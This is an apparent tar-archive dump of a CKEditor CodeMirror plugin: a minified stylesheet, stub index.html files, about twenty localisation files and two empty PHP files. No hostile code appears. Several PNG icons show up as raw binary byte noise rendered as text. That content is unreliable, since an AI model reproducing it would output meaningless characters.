 * **Note:** The [Maximize](http://ckeditor.com/addon/maximize) and [Editor Resize](http://ckeditor.com/addon/resize)
 * features are not supported in the shared space environment and should be disabled in this context.
 *
 *		config.removePlugins = 'maximize,resize';
 *
 * @cfg {Object} [sharedSpaces]
 * @member CKEDITOR.config
 */
                                                                                                                                                                                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/css/codemirror.min.css                      0000705                 00000023113 15242051521 0024041 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .CodeMirror{font-family:monospace;height:300px;color:#000}.CodeMirror-lines{padding:4px 0}.CodeMirror pre{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror div.CodeMirror-cursor{border-left:1px solid #000}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid #c0c0c0}.CodeMirror.cm-fat-cursor div.CodeMirror-cursor{width:auto;border:0;background:#7e7}.CodeMirror.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;animation:blink 1.06s steps(1) infinite}@-moz-keyframes blink{0%{background:#7e7}50%{background:none}100%{background:#7e7}}@-webkit-keyframes blink{0%{background:#7e7}50%{background:none}100%{background:#7e7}}@keyframes blink{0%{background:#7e7}50%{background:none}100%{background:#7e7}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-ruler{border-left:1px solid #ccc;position:absolute}.cm-s-default .cm-header{color:#00f}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:#f00}.cm-invalidchar{color:#f00}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0f0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#f22}.CodeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:#fff}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-30px;margin-right:-30px;padding-bottom:30px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:30px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;margin-bottom:-30px;*zoom:1;*display:inline}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;height:100%}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper{-webkit-user-select:none;-moz-user-select:none;user-select:none}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent}.CodeMirror-wrap pre{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;overflow:auto}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{-moz-box-sizing:content-box;box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-measure pre{position:static}.CodeMirror div.CodeMirror-cursor{position:absolute;border-right:none;width:0}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror ::selection{background:#d7d4f0}.CodeMirror ::-moz-selection{background:#d7d4f0}.cm-searching{background:#ffa;background:rgba(255,255,0,.4)}.CodeMirror span{*vertical-align:text-bottom}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:''}span.CodeMirror-selectedtext{background:none}.CodeMirror{font:13px/1.4em monospace;text-align:left}.CodeMirror .activeline{background:#e8f2ff}.CodeMirror .CodeMirror-foldmarker{color:#00f;-ms-text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;-webkit-text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;font-family:arial;line-height:.3;cursor:pointer}.CodeMirror-matchingtag{background:#ff9600;background:rgba(255,150,0,.3)}.searchCodeButton span,.autoFormat span,.CommentSelectedRange span,.UncommentSelectedRange span{width:16px;height:16px;margin-left:6px}.searchCodeButton span{background:url("../icons/searchcode.png") no-repeat}.autoFormat span{background:url("../icons/autoformat.png") no-repeat}.CommentSelectedRange span{background:url("../icons/commentselectedrange.png") no-repeat}.UncommentSelectedRange span{background:url("../icons/uncommentselectedrange.png") no-repeat}.cke_reset_all .CodeMirror-scroll *{white-space:normal}.cke_reset_all .cm-s-cobalt *,.cke_reset_all .cm-s-erlang-dark *,.cke_reset_all .cm-s-lesser-dark *,.cke_reset_all .cm-s-monokai *,.cke_reset_all .cm-s-night *,.cke_reset_all .cm-s-rubyblue *,.cke_reset_all .cm-s-twilight *,.cke_reset_all .cm-s-xq-dark *,.cke_reset_all .cm-s-base16-dark *,.cke_reset_all .cm-s-3024-night *,.cke_reset_all .cm-s-the-matrix *,.cke_reset_all .cm-s-paraiso-dark *,.cke_reset_all .cm-s-paraiso-light *{color:inherit;font:inherit}.cm-s-cobalt .CodeMirror-selected{background:#b36539 !important}.cm-s-erlang-dark .CodeMirror-selected{background:#b36539 !important}.cm-s-lesser-dark .CodeMirror-selected{background:#45443b !important}.cm-s-monokai .CodeMirror-selected{background:#49483e !important}.cm-s-night .CodeMirror-selected{background:#447 !important}.cm-s-rubyblue .CodeMirror-selected{background:#38566f !important}.cm-s-twilight .CodeMirror-selected{background:#323232 !important}.cm-s-xq-dark .CodeMirror-selected{background:#a8f !important}.cm-s-the-matrix .CodeMirror-selected{background:#494949 !important}.cm-s-mbo .CodeMirror-selected{background:#716c62 !important}.cm-s-blackboard .activeline,.cm-s-cobalt .activeline,.cm-s-erlang-dark .activeline,.cm-s-lesser-dark .activeline,.cm-s-monokai .activeline,.cm-s-night .activeline,.cm-s-rubyblue .activeline,.cm-s-vibrant-ink .activeline,.cm-s-xq-dark .activeline,.cm-s-base16-dark .activeline,.cm-s-3024-night .activeline,.cm-s-paraiso-light .activeline,.cm-s-paraiso-dark .activeline,.cm-s-pastel-on-dark .activeline{background:#757575}.cm-s-pastel-on-dark .activeline{background:#404040}.cm-s-mbo .activeline{background:#716c62}.cm-s-twilight .activeline{background:#494949}.cm-s-the-matrix .activeline{background:#060}.CodeMirror-focused .cm-matchhighlight{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAAFklEQVQI12NgYGBgkKzc8x9CMDAwAAAmhwSbidEoSQAAAABJRU5ErkJggg==);background-position:bottom;background-repeat:repeat-x}.CodeMirror-hints{position:absolute;z-index:10;overflow:hidden;list-style:none;margin:0;padding:2px;-webkit-box-shadow:2px 3px 5px #000;-ms-box-shadow:2px 3px 5px #000;box-shadow:2px 3px 5px #000;border-radius:3px;border:1px solid #c0c0c0;background:#fff;font-size:90%;font-family:monospace;max-height:20em;overflow-y:auto}.CodeMirror-hint{margin:0;padding:0 4px;border-radius:2px;max-width:19em;overflow:hidden;white-space:pre;color:#000;cursor:pointer}.CodeMirror-hint-active{background:#08f;color:#fff}.cm-trailingspace{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAACCAYAAAB/qH1jAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3QUXCToH00Y1UgAAACFJREFUCNdjPMDBUc/AwNDAAAFMTAwMDA0OP34wQgX/AQBYgwYEx4f9lQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-foldmarker{color:#00f;text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;font-family:arial;line-height:.3;cursor:pointer}.CodeMirror-foldgutter{width:.7em}.CodeMirror-foldgutter-open,.CodeMirror-foldgutter-folded{cursor:pointer}.CodeMirror-foldgutter-open:after{content:"▾"}.CodeMirror-foldgutter-folded:after{content:"▸"}                                                                                                                                                                                                                                                                                                                                                                                                                                                     editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/css/index.html                              0000705                 00000000054 15242051521 0022374 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/index.html                                  0000705                 00000000054 15242051521 0021604 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/searchcode.png                        0000705                 00000000630 15242051521 0023530 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         (-S   PLTE}}}ssssss===XXXzzz}}}sss===AAAFFFLLLRRRXXX___eeekkkqqqvvv}}}yyy|||}}}vvvzzz}}}zzz}}}zzz[i    tRNS ~   IDATW10C_~AK(oʊghUĆzmlP]at5Ost{W*9E3׼ЅRrEC PhZs+^#%9R>kz^3dueqg_} +FEľu=    IENDB`                                                                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/autocomplete.png                      0000705                 00000000377 15242051521 0024141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        _*?   EPLTECBBCBBCBBCBBCBBCBBCBBCBBCBBCBBCBBZ   tRNS   @@P``pp12   TIDATK@0@[Z~jD@ϼQ.G㛤 ځTgSU@cB>a2q@7jV&H    IENDB`                                                                                                                                                                                                                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/uncommentselectedrange.png            0000705                 00000000435 15242051521 0026166 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         (-S   fPLTE@@@KKKWWWuuv|)P8I0X>/R:Z@[GrVfJմqYډtkDchØ   rIDAT	P -Qk%  wC 1.뾌8>ֶ]G@OߩOBWu·|݃|?1*nP(mR@l@ R d    |@    IENDB`                                                                                                                                                                                                                                   editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/commentselectedrange.png              0000705                 00000000240 15242051521 0025615 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         R   PLTE@@@@7KKKWWWuuvS   tRNS @f   9IDAT[c`&4!((21`zAFP PRE  <Id    IENDB`                                                                                                                                                                                                                                                                                                                                                                editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/index.html                            0000705                 00000000054 15242051521 0022717 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/icons/autoformat.png                        0000705                 00000000322 15242051521 0023607 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR          :   IDATWc_gmӧӧ1 [\*p++T df|caNfXŖI͆t5r34?(?.w:r.PC') "vbƯ?FR` [ LG-c    IENDB`                                                                                                                                                                                                                                                                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ka.js                                  0000705                 00000000713 15242051521 0021463 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ka', {
	toolbar: 'კოდები',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                     editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/zh.js                                  0000705                 00000000702 15242051521 0021507 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'zh', {
	toolbar: '原始碼',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ro.js                                  0000705                 00000000676 15242051521 0021520 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ro', {
	toolbar: 'Sursa',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fi.js                                  0000705                 00000000676 15242051521 0021476 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'fi', {
	toolbar: 'Koodi',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en-gb.js                               0000705                 00000000702 15242051521 0022056 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'en-gb', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/hi.js                                  0000705                 00000000710 15242051521 0021465 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'hi', {
	toolbar: 'सोर्स',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/th.js                                  0000705                 00000000720 15242051521 0021501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'th', {
	toolbar: 'ดูรหัส HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/lv.js                                  0000705                 00000000702 15242051521 0021507 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'lv', {
	toolbar: 'HTML kods',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/no.js                                  0000705                 00000000676 15242051521 0021514 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'no', {
	toolbar: 'Kilde',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/lt.js                                  0000705                 00000000702 15242051521 0021505 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'lt', {
	toolbar: 'Šaltinis',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/cs.js                                  0000705                 00000000676 15242051521 0021505 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'cs', {
	toolbar: 'Zdroj',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/about.php7                             0000644                 00000000000 15242051521 0022433 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/de.js                                  0000705                 00000000751 15242051521 0021462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'de', {
    toolbar: 'Quellcode',
    searchCode: 'Quellcode durchsuchen',
	autoFormat: 'Auswahl formatieren',
	commentSelectedRange: 'Auswahl auskommentieren',
	uncommentSelectedRange: 'Auskommentierung entfernen',
	autoCompleteToggle: 'HTML Tag Autovervollständigen de-/aktivieren'
});
                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/index.html                             0000705                 00000000054 15242051521 0022525 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/et.js                                  0000705                 00000000703 15242051521 0021477 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'et', {
	toolbar: 'Lähtekood',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                             editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ms.js                                  0000705                 00000000677 15242051521 0021520 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ms', {
	toolbar: 'Sumber',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sk.js                                  0000705                 00000000676 15242051521 0021515 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'sk', {
	toolbar: 'Zdroj',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/gl.js                                  0000705                 00000000706 15242051521 0021474 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'gl', {
	toolbar: 'Código Fonte',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                          editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sr-latn.js                             0000705                 00000000702 15242051521 0022446 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'sr-latn', {
	toolbar: 'Kôd',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/eu.js                                  0000705                 00000000707 15242051521 0021504 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'eu', {
	toolbar: 'HTML Iturburua',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                         editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/pt.js                                  0000705                 00000000676 15242051521 0021523 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'pt', {
	toolbar: 'Fonte',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ku.js                                  0000705                 00000000707 15242051521 0021512 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ku', {
	toolbar: 'سەرچاوە',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                         editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/nl.js                                  0000705                 00000000741 15242051521 0021502 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'nl', {
	toolbar: 'Broncode',
	searchCode: 'Zoek in broncode',
	autoFormat: 'Formatteer selectie',
	commentSelectedRange: 'Zet selectie in commentaar',
	uncommentSelectedRange: 'Haal selectie uit commentaar',
	autoCompleteToggle: 'Zet automatisch aanvullen van HTML tags aan/uit'
});
                               editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/zh-cn.js                               0000705                 00000000702 15242051521 0022105 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'zh-cn', {
	toolbar: '源码',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/bg.js                                  0000705                 00000000711 15242051521 0021456 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'bg', {
	toolbar: 'Източник',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/index.php                              0000644                 00000000000 15242051521 0022341 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fo.js                                  0000705                 00000000676 15242051521 0021504 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'fo', {
	toolbar: 'Kelda',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
